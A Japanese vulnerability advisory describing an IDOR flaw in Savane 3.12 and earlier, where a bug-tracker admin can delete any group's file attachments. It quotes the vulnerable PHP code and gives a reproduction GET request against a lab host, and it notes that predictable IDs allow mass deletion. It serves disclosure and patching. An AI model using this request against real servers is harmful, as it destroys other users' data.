
Savane v3.12 およびそれ以前のバージョンでは、/bugs/index.php からファイルを削除する際の file_id パラメータに対する検証が不十分なため、安全でない直接オブジェクト参照 (IDOR) の脆弱性が発生します。これにより、バグトラッカーを持つグループの認証済み管理者が、任意のバグトラッカーのファイル添付を恣意的に削除でき、これらのファイルの可用性が損なわれる可能性があります。ファイル ID はアップロードのたびに増加するため、file_id を指定してサーバー上のすべてのファイル添付を反復的に削除するスクリプトを作成することが可能です。
CWE分類: CWE-639: Authorization Bypass Through User-Controlled Key
報告者: Ally Petitt
影響を受ける製品: Savane
影響を受けるバージョン: 3.12 およびそれ以前
バグトラッカーのファイル添付を削除する関数は trackers_data_delete_file() で、以下のコードブロックで定義されています。
frontend/php/include/trackers/data.php:2417
function trackers_data_delete_file ($group_id, $item_id, $file_id)
{
global $sys_trackers_attachments_dir;
# Make sure the attachment belongs to the group.
$res = db_execute ("
SELECT bug_id from " . ARTIFACT . " WHERE bug_id = ? AND group_id = ?",
[$item_id, $group_id]
);
if (db_numrows ($res) <= 0)
{
# TRANSLATORS: the argument is item id (a number).
$msg = sprintf (
_("Item #%s doesn't belong to project"), $item_id
);
fb ($msg, 1);
return;
}
$result = false;
# Delete the attachment.
if (unlink ("$sys_trackers_attachments_dir/$file_id"))
$result = db_execute ("
DELETE FROM trackers_file WHERE item_id = ? AND file_id = ?",
[$item_id, $file_id]
);
この関数はまず、item_id で指定されたバグ ID が攻撃者の所属するグループ($group_id)に属していることを確認する SQL クエリを実行します。関数は file_id がそのグループに属しているかどうかをチェックしないため、item_id が攻撃者のグループ内の有効なバグに対応している限り、攻撃者は file_id を変更してアップロードディレクトリ /var/lib/savane/trackers_attachments 内の任意のファイルを指すようにすることができます。
さらに、この関数はバグトラッカーの管理者のみが利用可能です。
frontend/php/bugs/index.php:586
case 'delete_file':
# Remove an attached file.
if ($is_trackeradmin)
{
trackers_data_delete_file($group_id, $item_id, $item_file_id);
# Unset previous settings and return to the item.
$depends_search = $reassign_change_project_search = $add_cc
= $input_file = $changed = $vfl = $details = null;
include '../include/trackers_run/mod.php';
}
else
exit_permission_denied ();
break;
以下の手順は、許可されていない1つのファイルを削除する方法を示しています。ただし、攻撃者は予測可能なIDを使用してすべてのファイルの削除を自動化できることに注意してください。
40231 をアップロードしたことを示しています。root@60ae93fe131f:/var/lib/savane/trackers_attachments# ls
40226 40227 40230 40231
攻撃者が管理者であるグループのホームページにアクセスします。次に、Bugs > Browse に移動し、テーブルの左端の列にある有効なアイテムIDを確認します。このIDは次のステップで使用されます。
攻撃者として、パス /bugs/index.php?func=delete_file&item_id=<ATTACKER_ITEM_ID>&item_file_id=<FILE_ID_TO_DELETE> に GET リクエストを送信します。
私の場合は、http://172.17.0.2:7890/bugs/index.php?func=delete_file&item_id=50697&item_file_id=40231 のようになります。
被害者のファイル(攻撃者が権限を持たないグループのもの)が削除されたことを確認します。例:
root@60ae93fe131f:/var/lib/savane/trackers_attachments# ls
40226 40227 40230
Savane バージョン 3.13 以上にアップグレードしてください。パッチは こちら にあります。